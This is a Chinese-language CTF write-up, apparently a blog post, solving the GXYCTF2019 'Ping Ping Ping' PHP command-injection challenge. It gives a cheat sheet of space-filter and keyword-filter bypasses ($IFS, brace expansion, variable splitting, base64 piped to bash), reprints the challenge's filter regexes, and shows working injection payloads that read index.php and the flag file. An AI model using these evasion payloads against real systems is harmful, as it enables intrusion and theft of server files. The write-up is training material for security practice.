Loading

[GXYCTF2019]Ping Ping Ping

[GXYCTF2019]Ping Ping Ping

命令执行相关的漏洞,正常可以执行,然后测试测试哪些符号或者命令可能被过滤掉了

image-20220505101406322

发现简单的 ; 符号都没过滤,直接 cat 一下 flag.php 吧

image-20220505101521474

发现这里有过滤 空格 ,可以试试其他绕过空格限制的方法。

# Linux 下绕过空格限制
$IFS # Internal Field Separator (内部字段分隔符)默认为(空格、制表符、换号)。
${IFS}
$IFS$1 //改成$[1,2,3,4,5,6,7,8,9]
< 
<> 
{cat,flag.php}  //用逗号实现了空格功能
%20 
%09 
$'\x20'

# 过滤关键字
a=g;b=fla$a.php;cat$IFS$1$b  # 赋值引用
ca\t fl\ag.php	# 不影响命令执行
cat f*.php		# 匹配关键字
echo  "Y2F0IGZsYWcucGhw" | base64 -d | bash  # cat flag.php的base64编码通过管道执行
cat `ls` #ls出来的文件名都会被cat

image-20220505101725643

经过一系列的尝试和奔溃,发现过滤了 ['、{}、flag严格的匹配、空格、<、%、?、*],最终还是发现了蛛丝马迹啊。

image-20220505111831343

# payload
?ip=127.0.0.1;cat$IFS$1index.php
    
# 源码
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "

";
  print_r($a);
}

# 简直都快过滤的一点不剩了这。

但是可以发现 $IFS$1和 $ 号 并没有被过滤,说明还是不是很严格啊。

# 利用linux中的赋值将flag.php字符串分开,再引用变量构造payload
?ip=127.0.0.1;a=f;b=ag;c=l;cat$IFS$a$c$b.php

image-20220505113138031

没看到 flag 啊啊 啊 啊 !不要慌 [Ctrl+Shift+i] 试试。

posted @ 2022-08-13 10:38  knsec  阅读(92)  评论(0编辑  收藏  举报